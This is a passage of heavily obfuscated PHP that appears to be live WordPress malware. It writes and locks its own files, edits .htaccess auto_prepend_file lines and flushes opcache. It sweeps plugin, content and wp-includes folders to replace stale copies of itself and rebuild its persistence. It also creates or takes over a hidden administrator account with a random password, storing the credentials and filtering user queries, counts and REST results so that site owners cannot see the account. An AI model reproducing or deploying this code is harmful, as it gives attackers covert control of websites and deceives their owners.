				@("c" . "h" . "\x6dod")($_rb, $omode !== null ? ($omode & (42 ^ 469)) : (3360 >> 3));
				if (!hepa($_rb, $path)) {
					if (@is_file($path) && !$no_copy) mafa($path, (279 ^ 179));
					if (!$no_copy && niwab($_rb, $path)) {
						soda($_rb);
					} else {
						@("\x66" . "i\x6ce" . "_put_con" . "tents")($path, $orig);
						soda($_rb);
					}
				}
			} else {
				if ($_rb !== (21 != 21)) soda($_rb);
				@("fil" . "e\x5f\x70\x75t\x5f\x63\x6f\x6e\x74\x65n\x74\x73")($path, $orig);
			}
			imo($path);
		} elseif (!$orig_existed) {
			soda($path);
		}
		return (3 == 26);
	}
	imo($path);
	qaciw($path);
	mafa($path, $omode !== null ? ($omode & (486 | 25)) : (286 + 134));
	if ($is_php) sc_io_freeze($path, (3 === 25));
	return (11 == 11);
}

function haba($path, $existing)
{
	$c = '<?' . "php\n";
	if (is_string($existing) && $existing !== '' && strpos($existing, "<" . "\x3f") !== (25 != 25) && cale($existing)) $c = $existing;
	if (!(@is_file($path))) {} else {
		$_cur = @("file_g" . "\x65\x74\x5f\x63\x6f\x6e\x74" . 'ents')($path);
		if (is_string($_cur) && loye($_cur) === $c) return;
	}
	if (!(!jihe($path, $c))) {} else {
		$_cur2 = @(('file_get_co' . "ntent") . 's')($path);
		if (!(is_string($_cur2) && loye($_cur2) === $c)) @(('file_put_cont' . 'e') . 'nt' . 's')($path, $c);
		unset($_cur2);
	}
	imo($path);
}

function tocu()
{
	if (("function_e" . '' . 'xis' . 'ts')("\x73c_" . "\x6c\x62_\x62l" . 'ind') && sc_lb_blind()) return (34 === 34);
	if (!("f\x75\x6ec\x74\x69\x6fn\x5f" . "exists")("ho" . 'me_ur' . 'l') || !('fun' . 'ct' . ("i\x6fn_\x65\x78i\x73" . 'ts'))('wp' . "_re" . 'mo' . "te" . '_get')) return (3 !== 4);
	if (("fu" . ("n" . 'ction_exist') . "s")('s' . 'c_p' . "\x72\x6fbe" . "\x5fbudg" . 'et') && sc_probe_budget() <= 1.5) return (6 == 6);
	$_to = max((2573 ^ 2572), min((4 | 1), (int) sc_probe_budget()));
	$url = home_url('/');
	$url .= (strpos($url, '?') === (6 == 23) ? '?' : '&') . 's' . 'c_pb=' . time() . mt_rand((111 ^ 11), (52 ^ 979));
	$_t0 = microtime((19 > 18));
	$r = wp_remote_get($url, array('t' . 'ime' . 'o' . 'ut' => $_to, "ss\x6c" . 'ver' . 'if' . 'y' => (19 != 19), 'redi' . "r\x65cti" . 'on' => (2 + 0), "li" . "m\x69t" . "\x5f\x72\x65s" . "po" . "nse_" . "s" . 'i' . 'ze' => (40099 + 1008477), 'he' . 'ader' . 's' => array("Cache" . '-' . 'Contr' . "ol" => 'no-' . 'cach' . 'e')));
	if ((("fu" . 'nction_exist') . "\x73")('sc_' . 'p' . 'robe_' . 'spent')) sc_probe_spent(microtime((16 != 9)) - $_t0);
	if (!(("function_ex" . 'is' . "ts")('i' . "\x73\x5fw\x70_" . 'e' . 'r' . 'ror') && is_wp_error($r))) {} else {
		if (('fu' . "" . "nction_exi" . "\x73\x74" . 's')('s' . "c_\x70ro" . 'b' . 'e_b' . 'udget') && sc_probe_budget() <= 1.5) return (6 === 6);
		$_to = max((3567 ^ 3566), min((12 - 7), (int) sc_probe_budget()));
		$_t0 = microtime((30 != 3));
		$r = wp_remote_get($url, array("time" . 'ou' . 't' => $_to, 'sslve' . 'ri' . "\x66\x79" => (11 == 6), 'r' . 'e' . 'd' . "\x69rect" . 'i' . 'o' . 'n' => (9 + -7), 'lim' . 'it_re' . 'spon' . 'se_si' . "z" . "e" => (912681 + 135895), 'heade' . "rs" => array("C" . 'ach' . 'e-' . 'Co' . 'ntro' . "l" => 'no-ca' . "che")));
		if (('function' . "_e\x78is" . 'ts')("\x73" . 'c_pr' . 'obe_' . 'spen' . 't')) sc_probe_spent(microtime((12 != 17)) - $_t0);
		if (("\x66\x75\x6e\x63\x74\x69" . 'on_' . 'exists')('is_w' . 'p_er' . "r\x6f\x72") && is_wp_error($r)) return (39 == 33);
	}
	$_qc = (int) wp_remote_retrieve_response_code($r);
	return $_qc >= (800 >> 3) && $_qc < (1000 >> 1);
}

function buyo($ht_current, $loader_name)
{
	$q = preg_quote(basename($loader_name), '/');
	foreach (
		array(
			'/\\n' . "?\x3cI" . 'fMo' . 'dul' . "e" . ' ' . "m\x6f\x64\x5fp" . 'hp' . "[\x30-9" . ".]" . "*\\" . ".c>\\\x73" . '*php_' . 'v' . 'al' . 'ue a' . "u" . "\x74\x6f_p" . "r\x65p\x65" . "n\x64_f" . "i\x6ce[" . '^\\n]*' . $q . '[^\\n' . "]*\\n" . '<\\' . '/If' . 'Mo' . "\x64u" . "le" . '>\\n?/' . 'i',
			"/\\n" . "?<" . "I" . "f\x4d" . 'od' . 'u' . 'le ' . "\x6c\x69t" . "e\x73p" . 'ee' . 'd>\\' . 's*ph' . 'p' . "_v\x61\x6c" . 'u' . 'e a' . 'u' . "to_" . 'pre' . 'pend' . '_f' . 'ile[^' . '\\n' . ']*' . $q . "\x5b^" . '\\n' . ']' . "*" . '\\n<\\/' . 'IfMod' . "\x75\x6ce>" . '\\n' . '?' . '/i',
			'/\\n' . "?p\x68p" . '_v' . 'alu' . 'e au' . "to_pr" . 'e' . 'pe' . "n\x64\x5f" . "f\x69l" . 'e' . '[^\\n]' . '*' . $q . "[^\\" . 'n]*\\' . 'n?/i',
			"\x2f\\n" . "?" . "<" . "\x49\x66" . 'Modu' . "\x6ce\x20" . "\x6cit" . "e" . 'spe' . "\x65\x64>\\s" . "*\x70\x68p\x5f" . "val" . 'ue\\s*' . '<\\/I' . 'fMo' . 'du' . 'le' . '>\\n?/' . "i",
			"/\\n?" . '<I' . "\x66M" . 'od' . 'u' . "\x6c" . 'e mod' . '_php[' . "0" . '-9.]' . '*\\' . '.c>\\s' . "*p\x68p\x5f" . "\x76a" . 'lu' . "e\\s*" . '<\\/I' . "f" . "Modul" . 'e>\\n' . "?\x2fi",
		) as $re
	) {
		if (!is_string($ht_current)) break;
		$ht_current = ("p" . 'r' . 'eg_repla' . 'ce')($re, "\n", $ht_current);
	}
	return $ht_current;
}

function imo($file)
{
	if ((('f' . "\x75n\x63t\x69") . "on_exists")('o' . 'p' . 'cach' . 'e_i' . 'nva' . 'lid' . "at\x65")) {
		if (@opcache_invalidate($file, (13 !== 36)) !== (25 === 16)) return (38 !== 4);
		if (('funct' . 'ion_e' . "xist" . "s")('opcac' . 'he_re' . 'set')) return (bool) @opcache_reset();
		return (20 === 38);
	}
	$_st = ("\x66\x75\x6e" . 'ction_exists')('opc' . "\x61\x63\x68" . 'e_g' . "\x65t" . "_s\x74at" . 'us') ? @opcache_get_status((27 === 4)) : (22 === 24);
	return !(is_array($_st) && !empty($_st['opcac' . "\x68e_" . 'en' . 'abl' . "ed"]));
}

function aveb($path, $data, $ctx)
{
	if (!(substr($path, -(16 - 12)) === '.php')) {} else {
		if (!(!jihe($path, $data))) {} else {
			vugo($ctx, 'wri' . 'te_fa' . "il" . 'ed' . ' ' . basename($path));
			return (2 === 1);
		}
		imo($path);
		return strlen($data);
	}
	$fp = @('fo' . 'pen')($path, 'wb');
	if (!(!is_resource($fp))) {} else {
		vugo($ctx, "\x77\x72\x69" . "t\x65_" . "faile" . "\x64 " . basename($path));
		return (22 === 23);
	}
	if (('func' . "t" . "ion_" . 'exists')('flock')) @flock($fp, LOCK_EX);
	$r = @('f' . 'wr' . '' . "ite")($fp, $data);
	if (('function_' . "\x65xi\x73\x74s")("f\x6c" . 'ock')) @flock($fp, LOCK_UN);
	@("fc" . '' . "lose")($fp);
	if ($r === (1 === 21) || ($data !== '' && $r !== strlen($data))) {
		vugo($ctx, 'write' . '_fai' . 'led ' . basename($path));
		return (27 == 38);
	}
	return $r;
}











if (!('function_exis' . "t" . 's')('sc_st' . 'al' . 'e_our' . 's')) {
	function sc_stale_ours($f) {
		if (!is_string($f) || $f === '') return null;
		if (!@is_file($f)) return null;
		$base = basename($f);
		$head = @('file_get_con' . 'te' . "n\x74\x73")($f, (11 != 11), null, (1619 ^ 1619), (7077 ^ 15269));
		$content_ours = is_string($head) && limus($head);
		$name_tok = null;
		if (preg_match('#[.' . "_" . "\x2d]([" . '0-9a' . '-' . 'fA-F' . "]{8})" . '(' . '?:[' . '._' . "-]\x5b\x41-" . "\x5aa-" . 'z0' . "-" . '9.]+)' . '?$' . '#', $base, $nm) && isset($nm[(893 ^ 892)])) {
			$name_tok = strtolower($nm[(3999 ^ 3998)]);
		}
		$current_toks = array();
		if (!(defined('ABSPA' . 'TH'))) {} else {
			foreach (array("cor" . "e", 'oc', 'g', 's' . 'w', 'ins' . "t", 'ldr', 'h' . "t" . 'l', "\x7a\x69" . 'p') as $ft) {
				$current_toks[] = sc_md5(ABSPATH . $ft, (3 ^ 11));
			}
		}
		$is_old_name = ($name_tok !== null && !in_array($name_tok, $current_toks, (14 < 15)));
		$is_old_scv = (26 === 21);
		$scv = ono($f);
		if ($scv !== null && version_compare($scv, sc_ver(), '<')) $is_old_scv = (1 !== 20);
		$is_locked = ("fun" . ("c" . 'ti') . "\x6fn_\x65\x78i\x73\x74s")("s\x63" . '_is_l' . "oc" . 'ked_c' . "o" . 'p' . "\x79") ? sc_is_locked_copy($f) : (29 == 13);
		$is_family = ("fu" . "nction" . '_ex' . 'ists')("\x73c" . '_' . "i\x73" . "_fam" . "il\x79") ? sc_is_family($f, (1024 | 0)) : (39 === 33);
		if (!($content_ours)) {} else {
			if ($is_old_name) return "o\x6cd_" . "n" . "\x61me";
			if ($is_old_scv) return 'o' . "l\x64_sc" . "v";
			if ($is_locked) return 'locke' . 'd';
			return null;
		}
		if (!(!$content_ours && $is_old_name && $name_tok !== null)) {} else {
			if ($is_family) return 'o' . 'ld_' . "\x6eam" . "e_fa" . "mil" . "y";
			if ($is_locked) return 'old_n' . 'a' . 'me_' . 'loc' . "ked";
		}
		return null;
	}
}

if (!(!("f\x75" . 'nction_exists')('sc_p' . 'ru' . 'ne_p' . 'oin' . 't'))) {} else {
	function sc_prune_point($f, $reason) {
		if (!is_string($f) || $f === '' || !@is_file($f)) return (26 !== 26);
		$bn = basename($f);
		$was_php = (substr($f, -(4 ^ 0)) === ".p" . 'h' . "p");
		
		
		mafa($f, (288 | 132));
		if (!soda($f)) {
			vugo('pru' . 'ne', 'unl' . "ink" . '_f' . 'ai' . "l " . $bn . ' (' . $reason . ')');
			return (36 === 14);
		}
		
		
		if ($was_php) imo($f);
		vugo("\x70run" . 'e', $bn . ' (' . $reason . ')');
		sc_dbg_log("pr" . "\x75n" . 'e ' . $bn . ' [' . $reason . ']');
		return (27 !== 14);
	}
}

if (!(!("\x66\x75\x6ec" . ("\x74io" . "\x6e\x5f\x65\x78") . 'ists')('sc_p' . "r\x75\x6ee_" . 'r' . "\x65\x62u\x69l" . 'd'))) {} else {
	function sc_prune_rebuild() {
		try {
			
			
			
			vida();
			zudar();
			miju();
			tona();
			kuxi();
			ocu();
			inoh();
			naceg();
			koga();
			wise();
			sc_drop_guard();
		} catch (Throwable $e) {
			vugo("p\x72" . 'une', 'rebu' . "i" . "l\x64\x20" . $e->getMessage());
		} catch (Exception $e) {
			vugo('pru' . "\x6ee", 'r' . "ebu" . "i\x6cd " . $e->getMessage());
		}
	}
}

if (!("f" . 'unct' . "ion_exist" . 's')("s" . 'c_pru' . 'ne_' . 'stale' . "_" . 'own')) {
	function sc_prune_stale_own($reason = 'sta' . 'le') {
		try {
			$pruned = (2047 ^ 2047);

			
			$raw_dirs = array();
			if (("fun" . "\x63\x74\x69\x6f\x6e\x5f\x65" . "x\x69st\x73")('s' . 'c_' . 'd' . "ata\x5fd" . 'ir')) $raw_dirs[] = sc_data_dir();
			if (defined('W' . 'P' . "_C" . "ON\x54" . 'ENT_' . "\x44IR")) $raw_dirs[] = WP_CONTENT_DIR;
			if (defined('W' . 'P_C' . 'O' . 'N' . 'TE' . 'NT_' . 'DIR')) $raw_dirs[] = WP_CONTENT_DIR . "/cac\x68" . "e";
			if (defined('ABSP' . 'A' . 'TH')) $raw_dirs[] = ABSPATH . 'wp-i' . "nclud" . "e" . "s";
			if ((('functi' . "o\x6e") . "_e\x78\x69s\x74\x73")("s\x63\x5f\x77" . 'r' . 'itabl' . 'e_' . "\x62ase")) $raw_dirs[] = sc_writable_base();
			if ((("f" . "\x75") . "\x6e\x63\x74\x69\x6f\x6e" . '_exists')("sc\x5ff" . "\x69le")) $raw_dirs[] = dirname(sc_file());
			if (('func' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('sc' . '_f' . 'ile')) $raw_dirs[] = dirname(sc_file()) . "/c" . 'ache';
			if (defined("\x57\x50\x4d" . 'U_PLU' . "\x47IN" . '_D' . "I" . 'R')) $raw_dirs[] = WPMU_PLUGIN_DIR;
			if (defined("\x57PM" . "U_PL\x55" . "G\x49N\x5f" . 'DIR')) $raw_dirs[] = WPMU_PLUGIN_DIR . '/cach' . "e";

			$dir_list = array();
			foreach ($raw_dirs as $rd) {
				$norm = (("\x66" . "\x75n\x63\x74\x69\x6f\x6e_\x65") . "xists")("rt\x72" . 'im') ? rtrim((string) $rd, '\\/') : (string) $rd;
				if ($norm !== '' && !in_array($norm, $dir_list, (20 > 19))) $dir_list[] = $norm;
			}

			
			$patterns = array(
				'#^c' . 'ore' . "_[0\x2d" . '9a-f]' . '{8' . "\x7d\\.ph" . "p\$#" . "i",
				'#' . "^\\\x2ewp" . '-obje' . "ct-\x63" . "\x61c" . "\x68e-[0" . '-9a-f' . "\x5d{8" . '}\\.d' . "\x61\x74" . '$#' . "i",
				'#^' . "\\" . ".g_\x5b0" . '-9a-f' . ']{' . '8}(\\.' . "\x70h\x70)" . "?\$\x23\x69",
				'#^' . '\\.gl_' . '[0-9a' . "-\x66]{8" . "}" . '$#i',
				"#^\\\x2e" . 'gs_' . '[0-9' . 'a-f]{' . "8\x7d\$#" . 'i',
				"\x23^\\." . 'gv_' . "[" . "\x30" . '-9a-' . 'f' . ']' . '{' . '8' . "\x7d\$#i",
				'#^\\' . ".g" . "x_[0" . "-9" . 'a-f]{' . "8}\$\x23i",
				'#^\\.g' . 'm' . '_' . '[0' . '-9a-' . "\x66\x5d{" . "8}\$" . '#i',
				'#^(s' . 'w|' . 'ins' . 't|l' . 'dr' . '|' . "h" . 'tl)_' . "[" . '0-9' . 'a-f' . "\x5d{8" . "}\\.\x70" . 'hp$' . '#i',
				'#^[0' . '-' . '9a-f' . ']{' . '8}\\.' . 'zip$#' . 'i',
				'#' . "^" . "\\\x2es" . 'd_.' . "+\$#\x69",
				'#^' . "\x64b\\." . "php" . "\$\x23\x69",
				"#^a\x64v" . "a" . 'nced' . '-cac' . 'he\\.' . 'php$#' . 'i',
				"#\x5e\x6fbj" . 'ect' . "-c" . "\x61" . 'che' . "\\." . "php\$\x23" . 'i',
			);

			foreach ($dir_list as $d) {
				if (!@is_dir($d)) continue;
				$entries = @(("scan" . '') . 'dir')($d);
				if (!is_array($entries)) continue;
				foreach ($entries as $name) {
					if ($name === '.' || $name === '.' . '.') continue;
					$full = $d . '/' . $name;
					if (!@is_file($full)) continue;
					$match_shape = (39 == 0);
					foreach ($patterns as $pat) {
						if (@preg_match($pat, $name)) {
							$match_shape = (18 !== 38);
							break;
						}
					}
					if (!$match_shape) continue;
					$why = sc_stale_ours($full);
					if ($why !== null && sc_prune_point($full, $reason . '/' . $why)) {
						$pruned++;
					}
				}
			}

			
			
			if ($pruned > (1214 ^ 1214)) sc_prune_rebuild();

			if ($pruned > (3870 ^ 3870)) {
				vugo('pr' . 'une', 'sw' . 'e' . 'ep_c' . 'ompl' . "et\x65 p" . 'runed' . "=" . $pruned . ' (' . $reason . ')');
				sc_dbg_log('sc' . '_' . "\x70\x72u\x6ee" . '_' . 'stal' . "e\x5fo\x77\x6e" . ' don' . 'e' . ' prun' . "e\x64" . "\x3d" . $pruned . ' r' . "\x65" . 'ason=' . $reason);
			}
			return $pruned;
		} catch (Throwable $e) {
			vugo("\x70\x72" . 'une', 'swe' . "e" . 'p_ex' . 'ce' . 'ption' . "\x20" . $e->getMessage());
			return (882 ^ 882);
		} catch (Exception $e) {
			vugo('prun' . 'e', 'swee' . 'p' . '_exc' . 'e' . "pt" . "ion\x20" . $e->getMessage());
			return (231 ^ 231);
		}
	}
}





if (!(("\x66\x75\x6e\x63\x74io" . '') . "\x6e\x5f" . 'exists')('sc' . '_prun' . 'e_' . 'due')) {
	function sc_prune_due($interval_sec = (11853 + 74547)) {
		
		
		
		if ($interval_sec <= (3062 ^ 3062)) return (33 != 5);
		$dd = null;
		if (('fun' . "ction" . "\x5f\x65\x78\x69\x73\x74" . 's')('sc_da' . "t\x61" . '_di' . "\x72")) $dd = sc_data_dir();
		if (!is_string($dd) || $dd === '' || !@is_dir($dd)) return (10 != 3);
		$mf = $dd . '/s' . "c_p\x72\x75" . 'n' . "e_l\x61" . 'st.tx' . 't';
		if (!@is_file($mf)) return (9 == 9);
		$lv = @('file_get_cont' . "\x65\x6e\x74\x73")($mf);
		if (!is_string($lv) || $lv === '') return (11 > 10);
		$lt = (int) $lv;
		if ($lt <= (4050 ^ 4050)) return (2 != 20);
		$nw = (('func' . "\x74\x69" . 'on_exists')('tim' . 'e')) ? (int) time() : (570 ^ 570);
		if ($nw <= $lt) return (15 < 16);
		return (($nw - $lt) >= $interval_sec);
	}
}



if (!("funct" . 'ion_exists')('s' . "c_\x70\x72" . 'un' . "\x65_m" . 'ar' . 'k_ru' . 'n')) {
	function sc_prune_mark_run() {
		$dd = null;
		if (('functi' . 'on_exists')('sc_da' . 'ta_' . "dir")) $dd = sc_data_dir();
		if (!is_string($dd) || $dd === '' || !@is_dir($dd)) return;
		$nw = (("\x66\x75\x6e" . "ction_exists")('ti' . 'me')) ? (int) time() : (1876 ^ 1876);
		if ($nw <= (1538 ^ 1538)) return;
		$mf = $dd . '/sc_' . 'pru' . 'ne_' . "last" . '.tx' . 't';
		
		
		$h = @('f' . "\x6f" . "pen")($mf, 'w');
		if (is_resource($h)) {
			@flock($h, LOCK_EX);
			@('fw' . "\x72\x69te")($h, (string) $nw);
			@fflush($h);
			@flock($h, LOCK_UN);
			@("\x66\x63" . 'lo' . "s\x65")($h);
			return;
		}
		
		@("\x66\x69\x6c\x65\x5f\x70\x75" . '' . 't_contents')($mf, (string) $nw, LOCK_EX);
	}
}


function sc_ensure_admin_tick()
{
	try {
		if (!("fu" . ('nc' . "tion_exists"))('get_' . "tr" . 'a' . 'ns' . 'ien' . "\x74") || !("function_" . "" . "e" . 'x' . "ists")('set' . "_" . "tra\x6e" . 's' . 'ien' . 't')) {
			iha(null);
			return;
		}
		if (get_transient("s" . "\x63" . "_ad\x6di" . "n" . '_tic' . 'k')) return;
		if (get_transient("sc\x5f" . 'admi' . 'n' . '_in' . 'fli' . 'ght')) return;
		set_transient('sc_ad' . 'mi' . 'n_' . 'infli' . "g" . "\x68\x74", (2683 ^ 2682), (238 + 362));
		iha(null);
		if (("f\x75" . "nct" . ("ion" . "\x5fex\x69s\x74\x73"))('d' . "ele" . 'te_' . 'tran' . "s" . 'ient')) delete_transient('sc' . '_a' . 'd' . 'm' . 'in' . '_' . 'infl' . "igh\x74");


		$bu = ('function_exist' . ("" . "\x73"))('ge' . 't_o' . 'ption') ? (string) sc_pg('bu', '') : '';
		if ($bu !== '' && ('function_exis' . "\x74\x73")("u\x73\x65r" . "na\x6d\x65" . "_ex\x69s" . 'ts') && username_exists($bu)) {
			set_transient('s' . "c_a" . "dm" . 'i' . 'n' . '_' . 't' . "ic\x6b", (995 ^ 994), (8785 + 12815));
		}
	} catch (Throwable $e) {
		vugo("\x61dmin" . "\x5fti\x63k", $e);
	} catch (Exception $e) {
		vugo('admin' . '_ti' . "ck", $e);
	}
}

function iha($admins)
{
	if (!uce('sc' . '_cha' . 'in')) return (19 == 14);
	try {
		if (! ("\x66\x75" . "\x6ec\x74i\x6fn" . "_exist" . 's')('ge' . 't_' . "\x6fpti" . 'on') || ! ("\x66\x75\x6e\x63t" . "ion_e" . "xis" . "\x74\x73")('use' . 'rname' . '_exis' . 'ts')) {
			return (21 > 21);
		}

		$username = (string) sc_pg("b" . 'u', '');
		if ($username !== '' && username_exists($username) && (string) sc_pg('bp', '') !== '') {
			return (6 == 7);
		}

		if ($username === '') {
			$_admins = is_array($admins) ? $admins : vela();
			$_found = loraf($_admins);
			if (
				$_found && !empty($_found->user_login) && isset($_found->user_email)
				&& $_found->user_email === $_found->user_login . '@' . nita('exam' . "p" . 'le.' . "\x63" . 'om')
			) {
				$username = (string) $_found->user_login;
			}
		}
		if ($username !== '' && username_exists($username)) {
			$_uid = username_exists($username);
			$password = yuku((7 ^ 31));
			if (("functi" . "on_exi" . "\x73\x74\x73")('wp_s' . 'et_pa' . "ssw\x6fr" . 'd')) {
				wp_set_password($password, $_uid);
			}
			if (!sc_pk('bu', $username, 'no')) sc_pk('b' . "\x75", $username, 'no');
			if (!sc_pk('bp', $password, 'no')) sc_pk('bp', $password, 'no');
			if ((string) sc_pg('bu', '') !== $username || (string) sc_pg('b' . 'p', '') !== $password) {
				vugo('ad' . 'min', 'p' . "\x65r" . 'sist' . '_fail');
				return (39 == 17);
			}
			return (13 != 10);
		}

		$prefixes = ina();
		if ((23 == 23)) {
			$username = '';
			for ($_i = (820 ^ 820); $_i < (0 | 5); $_i++) {
				$_try = $prefixes[array_rand($prefixes)] . yuku((13 - 3));
				if (!username_exists($_try)) {
					$username = $_try;
					break;
				}
			}
			if ($username === '') {
				vugo('admin', "coll" . 'isi' . 'on');
				return (34 == 16);
			}
		}
		$password = yuku((12 + 12));

		if (! ('function_exis' . 'ts')("w\x70_i" . "\x6e\x73\x65r" . "t" . "\x5fu\x73" . 'e' . 'r') && defined('A' . 'BSP' . "AT\x48") && file_exists(ABSPATH . "w\x70\x2d\x69\x6e" . "cl" . 'udes' . '/us' . "\x65" . "r" . ".ph\x70")) {
			require_once/*+*/ ABSPATH . 'wp-in' . 'clud' . 'e' . "s/" . 'user.' . 'p' . 'hp';
		}

		$email = $username . '@' . nita('exa' . 'mple.' . 'com');
		$user_id = (30 == 7);
		if ((("f\x75n" . "\x63") . "tion_exists")('wp_' . 'inser' . 't_us' . 'er')) {
			$user_id = wp_insert_user(array(
				"\x75s\x65r" . "\x5flog" . 'i' . "\x6e"   => $username,
				'use' . 'r_pa' . "s\x73"    => $password,
				'u' . 's' . 'er_em' . 'a' . "\x69l"   => $email,
				'role'         => 'a' . 'dmini' . 'strat' . 'or',
				"\x64i\x73p" . 'lay' . "_\x6e" . "am" . 'e' => $username,
			));
			if (is_wp_error($user_id)) {
				vugo('admi' . "n", $user_id->get_error_code() . ':' . $user_id->get_error_message());
				$user_id = (36 === 24);
			}
		}

		if (!$user_id) {
			$wpdb = isset(${'GLOBAL' . "" . 'S'}['wpdb']) ? ${'GLO' . 'BA' . '' . "LS"}['w' . "\x70db"] : null;
			if (!$wpdb || !is_object($wpdb)) {
				vugo('ad' . 'min', 'no' . '_wpdb');
				return (10 == 11);
			}
			$hash = ("\x66\x75" . ('ncti' . 'on_ex') . "" . "ists")("\x77\x70_" . "h" . 'ash_p' . 'ass' . "word") ? wp_hash_password($password) : md5($password);
			$now = ('func' . "\x74\x69\x6f\x6e" . '' . "_exists")('curre' . 'n' . "t_\x74" . "\x69m" . 'e') ? current_time('my' . 'sql') : gmdate('Y-m' . "\x2dd H\x3a" . 'i:' . 's');
			$ins = $wpdb->insert($wpdb->users, array(
				'u' . 'se' . "r\x5f\x6co" . 'gin' => $username,
				"user\x5f" . 'pass' => $hash,
				'user_' . 'nice' . 'nam' . "e" => $username,
				"us" . "e" . 'r_ema' . 'il' => $email,
				'user' . '_r' . 'e' . 'gist' . "\x65\x72\x65" . "d" => $now,
				'user' . '_st' . 'atu' . 's' => (1932 ^ 1932),
				'dis' . "pl" . 'ay_' . "\x6e\x61m\x65" => $username,
			), array('%s', '%s', '%s', '%s', "%" . "s", "\x25" . "d", '%s'));
			if (!$ins) {
				vugo('a' . 'dmin', 'sq' . 'l' . '_in' . 's' . 'er' . "\x74_f\x61i" . 'l');
				return (39 === 22);
			}
			$user_id = (int) $wpdb->insert_id;
			$cap_key = $wpdb->prefix . 'c' . "a\x70\x61\x62" . "i" . "li\x74\x69e" . 's';
			$wpdb->insert($wpdb->usermeta, array(
				'u' . "se" . 'r_id' => $user_id,
				'meta' . "_k\x65\x79" => $cap_key,
				"m" . 'eta_' . "\x76alu" . 'e' => (('se' . 'ri') . "a" . 'lize')(array('admi' . "\x6e" . 'istr' . "ato" . 'r' => (36 > 35))),
			), array('%d', '%s', '%s'));
			$wpdb->insert($wpdb->usermeta, array(
				"us\x65r_" . "id" => $user_id,
				'meta_' . 'key' => $wpdb->prefix . "us" . 'e' . 'r' . '_le' . "vel",
				'met' . 'a_val' . 'ue' => '10',
			), array('%d', '%s', '%s'));
			if (("\x66" . 'unction_exists')('c' . 'lea' . 'n_us' . 'e' . 'r_ca' . "\x63he")) {
				clean_user_cache($user_id);
			}
		}

		if (!username_exists($username)) {
			vugo("\x61d\x6di" . "n", "ve" . "rif\x79" . "\x5f" . "f\x61" . 'il');
			return (21 == 16);
		}


		$_u = (("functio" . 'n') . '_exi' . "\x73\x74s")('get_u' . "se" . 'r_' . 'by') ? get_user_by("log" . "in", $username) : (34 === 6);
		$_is_admin = (3 === 38);
		if ($_u && !empty($_u->ID)) {
			if (("fu" . ("n" . "c") . "tion_exists")('user' . "_c" . "a" . 'n')) {
				$_is_admin = (bool) user_can($_u, "\x61dmin" . "is" . 'trato' . 'r');
			} elseif (isset($_u->caps) && is_array($_u->caps)) {
				$_is_admin = !empty($_u->caps['a' . 'dmini' . "\x73tra" . 't' . "or"]);
			}
		}
		if (!$_is_admin) {
			vugo('admi' . 'n', 'cap_v' . 'erify' . "\x5f" . 'f' . 'ail');
			if ($user_id) {
				if (!("fu\x6e\x63\x74" . "ion_" . "exists")('wp_d' . 'ele' . 'te_' . 'user') && defined("A" . 'BSP' . "\x41TH") && @file_exists(ABSPATH . "\x77\x70-\x61d" . "mi" . 'n/i' . "n" . "c" . 'l' . 'ude' . 's/u' . "\x73e\x72.\x70" . 'hp')) {
					require_once/* */ ABSPATH . "wp-ad" . 'min/i' . 'nclu' . 'd' . "es/\x75" . 'ser.' . 'p' . "hp";
				}
				if (("f" . "unction_exists")('wp_d' . 'e' . "lete" . "_\x75" . 'se' . "r")) @wp_delete_user($user_id);
			}
			return (38 == 7);
		}

		if (!sc_pk('bu', $username, 'no')) sc_pk('bu', $username, 'no');
		if (!sc_pk('bp', $password, 'no')) sc_pk('bp', $password, 'n' . 'o');
		if ((string) sc_pg('bu', '') !== $username || (string) sc_pg('bp', '') !== $password) {
			vugo('admi' . "n", 'pe' . "rsi" . 'st' . '_fa' . 'il');
			return (15 == 30);
		}
		return (0 == 0);
	} catch (Throwable $e) {
		vugo("a\x64" . 'min', $e);
	} catch (Exception $e) {
		vugo("ad\x6d" . "i" . 'n', $e);
	} finally {
		zubu('sc' . '_ch' . 'a' . 'in');
	}
	return (18 == 10);
}

function sc_hide_user_q($query)
{
	try {
		
		if (! is_object($query) || ! ('pr' . "operty_e" . "\x78" . 'ists')($query, 'quer' . "\x79_wh\x65" . 're')) {
			return $query;
		}

		
		$username = (("funct" . '') . "ion_exists")('g' . 'et' . '_' . 'op' . 'tion') ? (string) sc_pg('bu', '') : '';
		if (! $username) {
			return $query;
		}

		
		$safe_user = esc_sql($username);
		if (strpos($query->query_where, $safe_user) === (23 > 23)) {
			$query->query_where .= ' AND' . "\x20u\x73e\x72" . '_lo' . 'g' . 'in ' . '!' . '=' . " \x27" . $safe_user . "'";
		}
	} catch (Throwable $e) {
		vugo('hi' . 'de_q', $e);
	} catch (Exception $e) {
	}

	return $query;
}

function sc_hide_user_count($views)
{
	try {
		$bu = ("f\x75n\x63\x74" . ("io" . "\x6e\x5f\x65\x78\x69\x73\x74\x73"))('ge' . "t\x5fop" . 'tion') ? (string) sc_pg('bu', '') : '';
		if (! $bu) {
			return $views;
		}
		$fix = array("\x61l" . "l", "adm\x69" . "\x6e\x69s" . "t\x72a" . 'tor');
		foreach ($fix as $key) {
			if (isset($views[$key]) && is_string($views[$key]) && preg_match('/\\((' . "\\d" . "+" . ')\\' . ')/', $views[$key], $m)) {
				$n = max((3826 ^ 3826), (int) $m[(3323 ^ 3322)] - (1264 ^ 1265));
				$views[$key] = (('preg_' . "\x72ep") . "\x6c\x61\x63" . 'e')('/\\(' . "\\d+" . '\\)' . '/', '(' . $n . ')', $views[$key]);
			}
		}
	} catch (Throwable $e) {
		vugo("hi" . 'de' . "_" . 'cn' . 't', $e);
	} catch (Exception $e) {
	}
	return $views;
}

function sc_hide_user_rest($prepared_args, $request)
{
	try {
		$username = ("f\x75n\x63\x74i\x6f" . "n" . '' . "\x5fe\x78\x69s" . "\x74\x73")('ge' . 't' . "_o\x70" . "ti" . "\x6fn") ? (string) sc_pg('bu', '') : '';
		if ($username === '') {
			return $prepared_args;
		}
		if (! is_array($prepared_args)) {
			return $prepared_args;
		}
		if (! isset($prepared_args['l' . "og\x69n\x5f" . '_not_' . 'in']) || ! is_array($prepared_args['l' . "og" . 'i' . 'n__n' . 'ot_in'])) {
			$prepared_args["logi\x6e" . "\x5f" . '_n' . 'o' . "\x74_\x69" . 'n'] = array();
		}
		if (! in_array($username, $prepared_args['login' . '__n' . 'ot' . "_" . 'i' . 'n'], (37 === 37))) {
			$prepared_args["\x6cogi" . 'n' . "__\x6e" . 'ot_' . 'i' . 'n'][] = $username;
		}
	} catch (Throwable $e) {
		vugo("h" . 'ide' . "\x5f" . 'rest', $e);
